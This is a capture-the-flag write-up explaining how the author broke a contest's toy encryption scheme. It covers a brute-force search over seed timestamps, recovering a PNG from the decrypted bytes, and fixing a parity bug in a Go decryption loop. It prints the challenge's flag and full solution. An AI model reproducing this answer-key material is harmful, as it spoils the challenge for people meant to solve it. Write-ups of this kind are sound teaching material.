I tested the program by using the binary to generate my own ciphertext with a known seed, then decrypt it.
$ echo "this is a flag" > flag $ date +%s; ../randCrypt 1573368833 1/1798 2/1798 3/1798 ... 1797/1798 $ ./decrypt 1573368833 crypt 1573368833 "this is a flag\n\x00"
Now I needed to guess the challenge's original seed timestamp.
I anchored the search around the timestamps in the challenge tarball.
The xargs
trick is a nice way to run
several copies of a program in parallel
and make effective use of all your CPU cores.
$ TZ=UTC tar tvf random_crypto_c9079421d1a3b9be4ba9a5057fcbd2a2ca969985b64f6c757d612dc34fffcc27.tar.gz -rw-r--r-- alisson/alisson 8540402 2019-10-14 18:37 crypt -rw-r--r-- alisson/alisson 13256 2019-10-14 18:37 randCrypt $ date -d '2019-10-14 18:37 UTC' +%s 1571078220 $ for offset in $(seq 0 1200); do echo $((1571078220+$offset)); echo $((1571078220-$offset)); done | xargs -P 8 -I xx ./decrypt xx ../crypt | tee solve.log 1571078219 no 1571078218 no 1571078220 no 1571078220 no 1571078222 no 1571078223 no 1571078221 no ... 1571078206 no 1571078233 "\x01\x00\x01\x00\x01\x00\x01\x00" 1571078234 no 1571078207 no ...
This search was initially running too slowly, so I had patched decrypt.go to only decrypt the first 8 bytes. As you can see, most guesses do not decrypt to a valid byte string, and even most of those that do, are not anything meaningful. I let the search run and then visually inspected the non-failure cases in solve.log.
$ grep -h -v ' no$\|\\x00\\x00' solve.log 1571078138 "\b\x05\x04\x05\x00\x01\x01\x01" 1571078340 "\r\x04\t\x00\x01\x00\x02\x01" 1571078396 "\xd99\x95\a\x17\x03$\x10" 1571077909 "D('#\x06\x05\r\x05" 1571078871 "\x89PNG\r\n\x1a\n" 1571079010 "6\x0e%\x02\x05\x01\t\x04" 1571077224 "6\x0e%\x02\x05\x01\t\x04" 1571079378 "\x1b\a\x12\x01\x02\x01\x04\x02"
The "\x89PNG\r\n\x1a\n"
match immediately jumps out,
because that's a
PNG header.
I patched the decrypt program again to process all the bytes
and write the output directly to a file.
The result resembles a PNG file:
$ file crypt-bad1.png crypt-bad1.png: PNG image data, 720 x 350, 8-bit/color RGBA, non-interlaced $ identify crypt-bad1.png crypt-bad1.png PNG 720x350 720x350+0+0 8-bit sRGB 14444B 0.000u 0:00.000
But no graphics software will open it,
because it is somehow corrupted.
Knowing something about the PNG format,
I wrote a hacky script
to extract the pixel data
(uncompressed contents of IDAT
chunks)
to have a look at it.
#!/usr/bin/env python
import struct
import sys
import zlib
def read_chunk(f):
length = f.read(4)
length, = struct.unpack(">L", length)
type = f.read(4)
data = f.read(length)
crc = f.read(4)
crc, = struct.unpack(">L", crc)
return length, type, data, crc
filename = sys.argv[1]
out_filename = sys.argv[2]
pixels = ""
with open(filename, "rb") as f:
sig = f.read(8)
print repr(sig)
while True:
length, type, data, crc = read_chunk(f)
if type != "IDAT":
print length, type, repr(data)
else:
pixels += data
print length, type
if type == "IEND":
break
out = open(out_filename, "wb")
dec = zlib.decompressobj()
i = 0
while i < len(pixels):
data = dec.decompress(pixels[i:i+1])
out.write(data)
i += 1
data = dec.flush()
out.write(data)
The output of the program shows that at least one problem with the file is that the zlib stream representing the compressed pixel data has an incorrect checksum, indicating some kind of corruption:
$ ./png message.png message.data '\x89PNG\r\n\x1a\n' 13 IHDR '\x00\x00\x02\xd0\x00\x00\x01^\x08\x06\x00\x00\x00' 8192 IDAT 6182 IDAT 0 IEND '' Traceback (most recent call last): File "./png", line 37, indata = dec.decompress(pixels[i:i+1]) zlib.error: Error -3 while decompressing: incorrect data check
The problem was that my decryption algorithm was not completely correct, but I did not realize that right away. I thought perhaps the challenge authors had deliberately corrupted the file as a final step to overcome. A nice trick for inspecting uncompressed graphics is to save them with a ".data" filename extension and open them in the GIMP. You'll get a dialog that allows you to explore different settings of height/width and pixel format.

There is clearly some data there, but it doesn't look like much.
The rightward drift of the repeating patterns is caused by
the PNG filter
which adds an extra byte at the beginning of each row.
Many of the rows are filtered using the Sub
filter,
which means most pixels are stored as the difference from the previous pixel.
A solid white row, for example, would be stored as a single white pixel
followed by a row of transparent pixels
(you can see that happening in the upper left of the screenshot).
I wrote another hacky script to undo the filtering
and got some barely intelligible data.
It's still corrupted, but it clearly contains the flag—all flags
in this contest started with "CTF-BR".

I decided the problem must be in the decryption program. Take a closer look at this fragment:
r := rands[iterationCount - 1 - i]
t := (r % len(cfile)) | 1
cfile[t].Xor(cfile[t], &one)
for j := 0; j < len(cfile); j += 2 {
// cfile[j] == a + b
// cfile[j+1] == a - b
// (a + b) + (a - b) == 2 * a
var a big.Int
a.Add(cfile[j], cfile[j+1])
a.Div(&a, &two)
cfile[j+1].Sub(cfile[j], &a)
cfile[j].Set(&a)
}
The calculation (a+b) + (a−b)
always results in an even number.
Therefore every pair in cfile
should sum to an even number
except for one, the one that was randomly chosen to have a bit flipped.
I tested and there was indeed only one odd sum during each iteration—but
not where the rands
array expected it.
I still am not sure what went wrong;
obviously a divergent implementation of rand
could be the culprit,
but in that case even the iterationCount
would have been incorrect
and produced nothing close to a working output file.
Anyway, I realized that I didn't actually need to know the rand()
sequence to know which bit to unflip,
I only needed to look for the pair with the odd sum, and flip that one:
// r := rands[iterationCount - 1 - i]
// t := (r % len(cfile)) | 1
// fmt.Fprintf(os.Stderr, "xor %d\n", t)
// cfile[t].Xor(cfile[t], &one)
for j := 0; j < size; j += 2 {
// cfile[j] == a + b
// cfile[j+1] == a - b
// (a + b) + (a - b) == 2 * a
var a big.Int
a.Add(cfile[j], cfile[j+1])
if a.Bit(0) != 0 {
cfile[j+1].Xor(cfile[j+1], &one)
a.Add(cfile[j], cfile[j+1])
}
a.Div(&a, &two)
cfile[j+1].Sub(cfile[j], &a)
cfile[j].Set(&a)
}
With that change, I finally got a working image and the flag,
CTF-BR{p4Ri7Y_1S_s0_1mP074Nt_iN_In736ErS}
.

I was surprised that I had gotten so close to a working output image with a malfunction like that in the decryption program. It may be because, at least half the time, the bit flip has no effect on the output. The division by 2 results in the same output, even without taking the bit flip into account, whenever the original sum a+b is even.
input | transformed with bit flip | inverted without bit flip | ||||
---|---|---|---|---|---|---|
a | b | x = a+b | y = (a−b)⊕1 | (x+y)/2 | x−(x+y)/2 | ok? |
2 | 4 | 6 | −1 | 2 | 4 | ✅ |
2 | 5 | 7 | −4 | 1 | 6 | ❌ |
2 | −4 | −2 | 7 | 2 | −4 | ✅ |
2 | −5 | −3 | 6 | 1 | −4 | ❌ |
−2 | 4 | 2 | −5 | −2 | 4 | ✅ |
−2 | 5 | 3 | −8 | −3 | 6 | ❌ |
−2 | ┈4 | −6 | 3 | −2 | −4 | ✅ |
−2 | ┈5 | −7 | 2 | −3 | −4 | ❌ |
Update:
After reading
the organizers' writeup,
I see what my misunderstanding was and how I arrived at the solution despite it.
The complicated calc_iteration_count(r)
function is just
optimized code for r % 4011
.
My brute-force timestamp search didn't find the correct random seed,
it just happened to find a seed whose first random output had the correct
residue mod 4011.
That explains why (seemingly) the first random number was correct
but all the following ones were wrong.
Then, the fact that the brute-force search only looked at the first 8 bytes
meant that I was not looking at the majority of the file,
where the incorrectly placed bit flips would have had an effect.
This challenge didn't require guessing the seed.
Just keep iterating, flipping the odd pair each time,
until you get all valid byte values.